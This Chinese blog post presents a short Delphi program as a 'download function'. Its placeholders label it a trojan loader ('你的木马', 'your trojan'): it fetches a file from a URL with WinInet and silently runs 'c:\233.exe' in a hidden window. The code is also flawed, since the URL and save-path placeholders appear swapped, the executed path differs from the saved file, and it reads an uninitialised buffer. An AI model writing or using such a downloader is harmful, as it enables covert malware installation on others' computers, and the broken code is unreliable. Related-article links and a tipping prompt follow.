delphi 下载函数


本文整理自网络,侵删。

 program Project2;
uses
windows,
Wininet,
SysUtils;
var
File_shangNet, File_XiaNet: string;
//////////////////////////////////////
function File_middlefasyellow(const Pingto_ghoSt, PingFo_WWW: String): boolean;
const BufferSize = 1024;
var
hSession, Foy_WWr: HInternet;
Buffer: array[1..BufferSize] of Byte;
BufferLen: DWORD;
f: File;
Pingto: string;
cmd :array[0..MAX_PATH] of char;
begin
Pingto := ExtractFileName(cmd);
hSession := InternetOpen(PChar(Pingto),
INTERNET_OPEN_TYPE_PRECONFIG,
nil, nil, 0);
try
Foy_WWr := InternetOpenURL(hSession,
PChar(Pingto_ghoSt),
nil,0,0,0);
try
AssignFile(f, PingFo_WWW);
Rewrite(f,1);
repeat
InternetReadFile(Foy_WWr, @Buffer,
SizeOf(Buffer), BufferLen);
BlockWrite(f, Buffer, BufferLen)
until BufferLen = 0;
CloseFile(f);
Result:=True;
finally
InternetCloseHandle(Foy_WWr)
end
finally
InternetCloseHandle(hSession)
end
end;

begin
File_shangNet:='你的木马';
File_XiaNet:='下载地址';
if File_middlefasyellow(File_shangNet,File_XiaNet)=True then
winexec('c:\233.exe',0);
end.

相关阅读 >>

Delphi百度云服务平台获取token

Delphi postmessage 虚拟按键

Delphi中设置系统时间方法

Delphi中把执行文件内存中的dll的代码全部保存下来

Delphi查找进程

Delphi 实现对xml文件的读写操作

Delphi linklabel1 用法

Delphi 控制台 输入输出实例代码

delph控制台(console)程序添加图标和版权信息

Delphi winapi: getnextwindow - 获取指定窗口z上或z下的窗口的句柄

更多相关阅读请进入《Delphi》频道 >>



打赏

取消

感谢您的支持,我会继续努力的!

扫码支持
扫码打赏,您说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

分享从这里开始,精彩与您同在

评论

管理员已关闭评论功能...